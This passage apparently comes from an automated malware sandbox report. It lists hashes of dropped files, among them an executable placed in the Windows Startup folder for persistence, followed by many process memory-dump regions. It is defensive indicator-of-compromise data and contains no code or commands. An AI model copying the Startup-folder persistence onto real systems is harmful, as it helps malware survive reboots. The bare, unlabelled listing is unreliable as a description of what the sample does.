                                                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe
                                                                                                                                                                                            MD5

                                                                                                                                                                                            680e08dfb787740be8313220da9c7674

                                                                                                                                                                                            SHA1

                                                                                                                                                                                            709b52847483261b6288c4f0ea2d571c54a70275

                                                                                                                                                                                            SHA256

                                                                                                                                                                                            e1267ac21ecbf34f7601c33b7b60c840fc459e3de54a8db2568c227ee340cb87

                                                                                                                                                                                            SHA512

                                                                                                                                                                                            0b47b024a2ca99b08d86df0d17e0ed949e91c53230dc04b27763552929ad156f8af53a04bea3016895897e654ca1b75282287a161f85bff3d4f7d2d11f68d4a6

                                                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe
                                                                                                                                                                                            MD5

                                                                                                                                                                                            680e08dfb787740be8313220da9c7674

                                                                                                                                                                                            SHA1

                                                                                                                                                                                            709b52847483261b6288c4f0ea2d571c54a70275

                                                                                                                                                                                            SHA256

                                                                                                                                                                                            e1267ac21ecbf34f7601c33b7b60c840fc459e3de54a8db2568c227ee340cb87

                                                                                                                                                                                            SHA512

                                                                                                                                                                                            0b47b024a2ca99b08d86df0d17e0ed949e91c53230dc04b27763552929ad156f8af53a04bea3016895897e654ca1b75282287a161f85bff3d4f7d2d11f68d4a6

                                                                                                                                                                                          • C:\Windows\SysWOW64\nvmalftl\mftfxrtg.exe
                                                                                                                                                                                            MD5

                                                                                                                                                                                            9ba595263c89a0d7d6b5e92b19e68933

                                                                                                                                                                                            SHA1

                                                                                                                                                                                            3ce4646b6d008e7e76d73cabe724d13f8c7e2943

                                                                                                                                                                                            SHA256

                                                                                                                                                                                            33256ec891e55eb532663f48ce93f54614b8cec623c114bee1cddf8e86d8d247

                                                                                                                                                                                            SHA512

                                                                                                                                                                                            3819c6aeaa9db81ee360f82849e9c9001043ed49e18d32155b5ecdc8f18a3ed448be7b083828c18a5c9c4773d4ea4a5ee9794215dc2316945f38f3ae13394faa

                                                                                                                                                                                          • \Users\Admin\AppData\Local\Temp\1105.tmp
                                                                                                                                                                                            MD5

                                                                                                                                                                                            50741b3f2d7debf5d2bed63d88404029

                                                                                                                                                                                            SHA1

                                                                                                                                                                                            56210388a627b926162b36967045be06ffb1aad3

                                                                                                                                                                                            SHA256

                                                                                                                                                                                            f2f8732ae464738372ff274b7e481366cecdd2337210d4a3cbcd089c958a730c

                                                                                                                                                                                            SHA512

                                                                                                                                                                                            fac6bfe35b1ee08b3d42d330516a260d9cdb4a90bbb0491411a583029b92a59d20af3552372ea8fb3f59442b3945bf524ef284127f397ae7179467080be8e9b3

                                                                                                                                                                                          • memory/368-136-0x0000000000000000-mapping.dmp
                                                                                                                                                                                          • memory/396-133-0x0000000000000000-mapping.dmp
                                                                                                                                                                                          • memory/600-500-0x0000000000000000-mapping.dmp
                                                                                                                                                                                          • memory/704-387-0x0000000006AE4000-0x0000000006AE6000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            8KB

                                                                                                                                                                                          • memory/704-386-0x0000000006AE3000-0x0000000006AE4000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            4KB

                                                                                                                                                                                          • memory/704-339-0x0000000000000000-mapping.dmp
                                                                                                                                                                                          • memory/704-350-0x0000000006AE0000-0x0000000006AE1000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            4KB

                                                                                                                                                                                          • memory/704-352-0x0000000006AE2000-0x0000000006AE3000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            4KB

                                                                                                                                                                                          • memory/1164-141-0x0000000000000000-mapping.dmp
                                                                                                                                                                                          • memory/1272-156-0x0000000000450000-0x000000000059A000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            1.3MB

                                                                                                                                                                                          • memory/1272-154-0x0000000000450000-0x000000000059A000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            1.3MB

                                                                                                                                                                                          • memory/1272-158-0x0000000000400000-0x0000000000447000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            284KB

                                                                                                                                                                                          • memory/1364-233-0x0000000004BC0000-0x0000000004BC1000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            4KB

                                                                                                                                                                                          • memory/1364-229-0x0000000000470000-0x00000000005BA000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            1.3MB

                                                                                                                                                                                          • memory/1364-235-0x0000000004BC2000-0x0000000004BC3000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            4KB

                                                                                                                                                                                          • memory/1364-237-0x0000000004BC4000-0x0000000004BC6000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            8KB

                                                                                                                                                                                          • memory/1364-220-0x0000000000000000-mapping.dmp
                                                                                                                                                                                          • memory/1364-223-0x0000000002340000-0x000000000236E000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            184KB

                                                                                                                                                                                          • memory/1364-225-0x0000000002590000-0x00000000025BC000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            176KB

                                                                                                                                                                                          • memory/1364-236-0x0000000004BC3000-0x0000000004BC4000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            4KB

                                                                                                                                                                                          • memory/1364-231-0x00000000005C0000-0x00000000005F9000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            228KB

                                                                                                                                                                                          • memory/1364-232-0x0000000000400000-0x000000000046F000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            444KB

                                                                                                                                                                                          • memory/1412-388-0x0000000000DF3000-0x0000000000DF4000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            4KB

                                                                                                                                                                                          • memory/1412-389-0x0000000000DF4000-0x0000000000DF6000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            8KB

                                                                                                                                                                                          • memory/1412-296-0x0000000000DF0000-0x0000000000DF1000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            4KB

                                                                                                                                                                                          • memory/1412-277-0x0000000000000000-mapping.dmp
                                                                                                                                                                                          • memory/1412-297-0x0000000000DF2000-0x0000000000DF3000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            4KB

                                                                                                                                                                                          • memory/1464-558-0x0000000000000000-mapping.dmp
                                                                                                                                                                                          • memory/1472-340-0x0000000000000000-mapping.dmp
                                                                                                                                                                                          • memory/1472-354-0x0000000007210000-0x0000000007211000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            4KB

                                                                                                                                                                                          • memory/1472-356-0x0000000007212000-0x0000000007213000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            4KB

                                                                                                                                                                                          • memory/1664-209-0x00000000009D8000-0x0000000000A27000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            316KB

                                                                                                                                                                                          • memory/1664-212-0x0000000002450000-0x00000000024DF000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            572KB

                                                                                                                                                                                          • memory/1664-215-0x0000000000400000-0x0000000000937000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            5.2MB

                                                                                                                                                                                          • memory/1664-204-0x0000000000000000-mapping.dmp
                                                                                                                                                                                          • memory/1700-146-0x0000000000000000-mapping.dmp
                                                                                                                                                                                          • memory/1816-573-0x0000000000000000-mapping.dmp
                                                                                                                                                                                          • memory/1816-262-0x0000000000060000-0x0000000000061000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            4KB

                                                                                                                                                                                          • memory/1816-259-0x0000000000000000-mapping.dmp
                                                                                                                                                                                          • memory/1840-299-0x0000000007502000-0x0000000007503000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            4KB

                                                                                                                                                                                          • memory/1840-298-0x0000000007500000-0x0000000007501000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            4KB

                                                                                                                                                                                          • memory/1840-278-0x0000000000000000-mapping.dmp
                                                                                                                                                                                          • memory/1852-244-0x0000000005000000-0x0000000005001000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            4KB

                                                                                                                                                                                          • memory/1852-243-0x00000000029F0000-0x00000000029F1000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            4KB

                                                                                                                                                                                          • memory/1852-238-0x0000000000000000-mapping.dmp
                                                                                                                                                                                          • memory/1852-241-0x0000000001290000-0x0000000001291000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            4KB

                                                                                                                                                                                          • memory/2100-153-0x0000000000A30000-0x0000000000A31000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            4KB

                                                                                                                                                                                          • memory/2100-152-0x0000000000A30000-0x0000000000A31000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            4KB

                                                                                                                                                                                          • memory/2100-151-0x0000000000B29A6B-mapping.dmp
                                                                                                                                                                                          • memory/2100-150-0x0000000000B20000-0x0000000000B35000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            84KB

                                                                                                                                                                                          • memory/2200-499-0x0000000000000000-mapping.dmp
                                                                                                                                                                                          • memory/2352-192-0x0000000004B93000-0x0000000004B94000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            4KB

                                                                                                                                                                                          • memory/2352-172-0x000000000040CD2F-mapping.dmp
                                                                                                                                                                                          • memory/2352-190-0x0000000004B90000-0x0000000004B91000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            4KB

                                                                                                                                                                                          • memory/2352-194-0x0000000004A20000-0x0000000004A21000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            4KB

                                                                                                                                                                                          • memory/2352-195-0x0000000004B30000-0x0000000004B31000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            4KB

                                                                                                                                                                                          • memory/2352-183-0x0000000000400000-0x0000000000433000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            204KB

                                                                                                                                                                                          • memory/2352-188-0x00000000023B0000-0x00000000023CB000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            108KB

                                                                                                                                                                                          • memory/2352-191-0x0000000004B92000-0x0000000004B93000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            4KB

                                                                                                                                                                                          • memory/2352-171-0x0000000000400000-0x0000000000433000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            204KB

                                                                                                                                                                                          • memory/2352-187-0x0000000004BA0000-0x0000000004BA1000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            4KB

                                                                                                                                                                                          • memory/2352-189-0x00000000050A0000-0x00000000050A1000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            4KB

                                                                                                                                                                                          • memory/2352-193-0x0000000002470000-0x0000000002471000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            4KB

                                                                                                                                                                                          • memory/2352-197-0x00000000056B0000-0x00000000056B1000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            4KB

                                                                                                                                                                                          • memory/2352-196-0x0000000004B94000-0x0000000004B96000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            8KB

                                                                                                                                                                                          • memory/2352-186-0x0000000002100000-0x000000000211C000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            112KB

                                                                                                                                                                                          • memory/2468-137-0x0000000000000000-mapping.dmp
                                                                                                                                                                                          • memory/2816-116-0x00000000005A0000-0x00000000005A9000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            36KB

                                                                                                                                                                                          • memory/2816-115-0x00000000001E0000-0x00000000001E8000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            32KB

                                                                                                                                                                                          • memory/3024-184-0x0000000002F90000-0x0000000002FA6000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            88KB

                                                                                                                                                                                          • memory/3024-119-0x0000000000D10000-0x0000000000D26000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            88KB

                                                                                                                                                                                          • memory/3024-135-0x0000000002A70000-0x0000000002A86000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            88KB

                                                                                                                                                                                          • memory/3116-271-0x0000000000000000-mapping.dmp
                                                                                                                                                                                          • memory/3116-279-0x0000000001480000-0x0000000001481000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            4KB

                                                                                                                                                                                          • memory/3120-117-0x0000000000400000-0x0000000000408000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            32KB

                                                                                                                                                                                          • memory/3120-118-0x0000000000402DC6-mapping.dmp
                                                                                                                                                                                          • memory/3180-180-0x00000000005B0000-0x00000000005D2000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            136KB

                                                                                                                                                                                          • memory/3180-182-0x00000000005E0000-0x0000000000610000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            192KB

                                                                                                                                                                                          • memory/3180-166-0x0000000000000000-mapping.dmp
                                                                                                                                                                                          • memory/3188-536-0x0000000000000000-mapping.dmp
                                                                                                                                                                                          • memory/3220-120-0x0000000000000000-mapping.dmp
                                                                                                                                                                                          • memory/3532-218-0x0000000000780000-0x000000000080E000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            568KB

                                                                                                                                                                                          • memory/3532-214-0x0000000000400000-0x0000000000491000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            580KB

                                                                                                                                                                                          • memory/3532-211-0x0000000000402998-mapping.dmp
                                                                                                                                                                                          • memory/3532-210-0x0000000000400000-0x0000000000491000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            580KB

                                                                                                                                                                                          • memory/3532-216-0x0000000000400000-0x0000000000491000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            580KB

                                                                                                                                                                                          • memory/3532-217-0x00000000004A0000-0x00000000004EE000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            312KB

                                                                                                                                                                                          • memory/3532-219-0x0000000000400000-0x0000000000491000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            580KB

                                                                                                                                                                                          • memory/3544-319-0x0000000000000000-mapping.dmp
                                                                                                                                                                                          • memory/3564-544-0x0000000000000000-mapping.dmp
                                                                                                                                                                                          • memory/3576-126-0x0000000000000000-mapping.dmp
                                                                                                                                                                                          • memory/3576-130-0x0000000000540000-0x0000000000553000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            76KB

                                                                                                                                                                                          • memory/3576-131-0x0000000000400000-0x0000000000447000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            284KB

                                                                                                                                                                                          • memory/3576-129-0x0000000000530000-0x000000000053D000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            52KB

                                                                                                                                                                                          • memory/3612-203-0x0000000000400000-0x00000000004B6000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            728KB

                                                                                                                                                                                          • memory/3612-202-0x0000000002160000-0x00000000021E3000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            524KB

                                                                                                                                                                                          • memory/3612-201-0x00000000020E0000-0x0000000002157000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            476KB

                                                                                                                                                                                          • memory/3612-207-0x00000000021F0000-0x0000000002253000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            396KB

                                                                                                                                                                                          • memory/3612-208-0x0000000002260000-0x00000000022D0000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            448KB

                                                                                                                                                                                          • memory/3612-198-0x0000000000000000-mapping.dmp
                                                                                                                                                                                          • memory/3636-246-0x0000000000CF0000-0x0000000000CF1000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            4KB

                                                                                                                                                                                          • memory/3636-258-0x0000000007DE0000-0x0000000007DE1000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            4KB

                                                                                                                                                                                          • memory/3636-245-0x0000000000000000-mapping.dmp
                                                                                                                                                                                          • memory/3636-247-0x0000000000CF0000-0x0000000000CF1000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            4KB

                                                                                                                                                                                          • memory/3636-248-0x0000000000E70000-0x0000000000E71000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            4KB

                                                                                                                                                                                          • memory/3636-249-0x0000000006D20000-0x0000000006D21000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            4KB

                                                                                                                                                                                          • memory/3636-251-0x0000000000E22000-0x0000000000E23000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            4KB

                                                                                                                                                                                          • memory/3636-250-0x0000000000E20000-0x0000000000E21000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            4KB

                                                                                                                                                                                          • memory/3636-252-0x0000000006CF0000-0x0000000006CF1000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            4KB

                                                                                                                                                                                          • memory/3636-307-0x0000000000E23000-0x0000000000E24000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            4KB

                                                                                                                                                                                          • memory/3636-253-0x00000000073C0000-0x00000000073C1000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            4KB

                                                                                                                                                                                          • memory/3636-254-0x0000000007530000-0x0000000007531000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            4KB

                                                                                                                                                                                          • memory/3636-270-0x0000000008AE0000-0x0000000008AE1000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            4KB

                                                                                                                                                                                          • memory/3636-269-0x0000000007EC0000-0x0000000007EC1000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            4KB

                                                                                                                                                                                          • memory/3636-255-0x0000000007690000-0x0000000007691000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            4KB

                                                                                                                                                                                          • memory/3636-268-0x0000000008DB0000-0x0000000008DB1000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            4KB

                                                                                                                                                                                          • memory/3636-264-0x0000000000CF0000-0x0000000000CF1000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            4KB

                                                                                                                                                                                          • memory/3636-256-0x0000000007660000-0x0000000007661000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            4KB

                                                                                                                                                                                          • memory/3672-176-0x000000001CAD0000-0x000000001CAD1000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            4KB

                                                                                                                                                                                          • memory/3672-170-0x000000001B590000-0x000000001B591000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            4KB

                                                                                                                                                                                          • memory/3672-142-0x0000000000AD0000-0x0000000000AD1000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            4KB

                                                                                                                                                                                          • memory/3672-138-0x0000000000000000-mapping.dmp
                                                                                                                                                                                          • memory/3672-155-0x00000000012B0000-0x00000000012B1000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            4KB

                                                                                                                                                                                          • memory/3672-149-0x000000001C410000-0x000000001C411000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            4KB

                                                                                                                                                                                          • memory/3672-148-0x000000001B5C0000-0x000000001B5C2000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            8KB

                                                                                                                                                                                          • memory/3672-157-0x000000001C340000-0x000000001C341000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            4KB

                                                                                                                                                                                          • memory/3672-169-0x000000001C620000-0x000000001C621000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            4KB

                                                                                                                                                                                          • memory/3672-179-0x000000001D1D0000-0x000000001D1D1000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            4KB

                                                                                                                                                                                          • memory/3672-144-0x0000000001010000-0x0000000001011000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            4KB

                                                                                                                                                                                          • memory/3672-147-0x0000000001260000-0x000000000127B000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            108KB

                                                                                                                                                                                          • memory/3800-318-0x0000000000000000-mapping.dmp
                                                                                                                                                                                          • memory/3804-164-0x0000000000900000-0x00000000009AE000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            696KB

                                                                                                                                                                                          • memory/3804-165-0x0000000000400000-0x00000000008F9000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            5.0MB

                                                                                                                                                                                          • memory/3804-159-0x0000000000000000-mapping.dmp
                                                                                                                                                                                          • memory/3808-124-0x0000000000402DC6-mapping.dmp
                                                                                                                                                                                          • memory/3852-185-0x00000000006E0000-0x00000000007D1000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            964KB

                                                                                                                                                                                          • memory/3852-181-0x000000000077259C-mapping.dmp
                                                                                                                                                                                          • memory/3852-174-0x00000000006E0000-0x00000000007D1000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            964KB

                                                                                                                                                                                          • memory/3908-332-0x0000000004E10000-0x0000000004E11000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            4KB

                                                                                                                                                                                          • memory/3908-314-0x0000000000000000-mapping.dmp
                                                                                                                                                                                          • memory/4064-132-0x0000000000000000-mapping.dmp
                                                                                                                                                                                          • memory/4288-470-0x0000000000000000-mapping.dmp
                                                                                                                                                                                          • memory/4292-471-0x0000000000000000-mapping.dmp
                                                                                                                                                                                          • memory/4308-519-0x0000000000000000-mapping.dmp
                                                                                                                                                                                          • memory/4376-377-0x0000000004E90000-0x000000000538E000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            5.0MB

                                                                                                                                                                                          • memory/4376-366-0x0000000000000000-mapping.dmp
                                                                                                                                                                                          • memory/4376-415-0x0000000004E90000-0x000000000538E000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            5.0MB

                                                                                                                                                                                          • memory/4440-514-0x0000000000000000-mapping.dmp
                                                                                                                                                                                          • memory/4480-375-0x0000000000000000-mapping.dmp
                                                                                                                                                                                          • memory/4500-376-0x0000000000000000-mapping.dmp
                                                                                                                                                                                          • memory/4540-478-0x0000000000000000-mapping.dmp
                                                                                                                                                                                          • memory/4576-385-0x0000000000000000-mapping.dmp
                                                                                                                                                                                          • memory/4612-503-0x0000000000000000-mapping.dmp
                                                                                                                                                                                          • memory/4624-504-0x0000000000000000-mapping.dmp
                                                                                                                                                                                          • memory/4700-406-0x0000000000000000-mapping.dmp
                                                                                                                                                                                          • memory/4724-407-0x0000000000000000-mapping.dmp
                                                                                                                                                                                          • memory/4724-434-0x0000000005650000-0x00000000056EC000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            624KB

                                                                                                                                                                                          • memory/4764-411-0x0000000000000000-mapping.dmp
                                                                                                                                                                                          • memory/4764-439-0x0000000002260000-0x000000000237B000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            1.1MB

                                                                                                                                                                                          • memory/4764-438-0x00000000021C0000-0x0000000002252000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            584KB

                                                                                                                                                                                          • memory/4772-510-0x0000000000000000-mapping.dmp
                                                                                                                                                                                          • memory/4792-511-0x0000000000000000-mapping.dmp
                                                                                                                                                                                          • memory/4856-430-0x0000000000000000-mapping.dmp
                                                                                                                                                                                          • memory/4856-462-0x0000000002050000-0x000000000207B000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            172KB

                                                                                                                                                                                          • memory/4912-448-0x0000000000400000-0x0000000000537000-memory.dmp
                                                                                                                                                                                            Filesize

                                                                                                                                                                                            1.2MB

                                                                                                                                                                                          • memory/4912-445-0x0000000000424141-mapping.dmp
                                                                                                                                                                                          • memory/4932-513-0x0000000000000000-mapping.dmp
                                                                                                                                                                                          • memory/4936-565-0x0000000000000000-mapping.dmp
                                                                                                                                                                                          • memory/4952-524-0x0000000000000000-mapping.dmp
                                                                                                                                                                                          • memory/5024-449-0x0000000000000000-mapping.dmp
                                                                                                                                                                                          • memory/5040-450-0x0000000000000000-mapping.dmp
                                                                                                                                                                                          • memory/5080-453-0x0000000000000000-mapping.dmp
                                                                                                                                                                                          • memory/5108-529-0x0000000000000000-mapping.dmp
                                                                                                                                                                                          • memory/5236-587-0x0000000000000000-mapping.dmp
                                                                                                                                                                                          • memory/5572-612-0x0000000000000000-mapping.dmp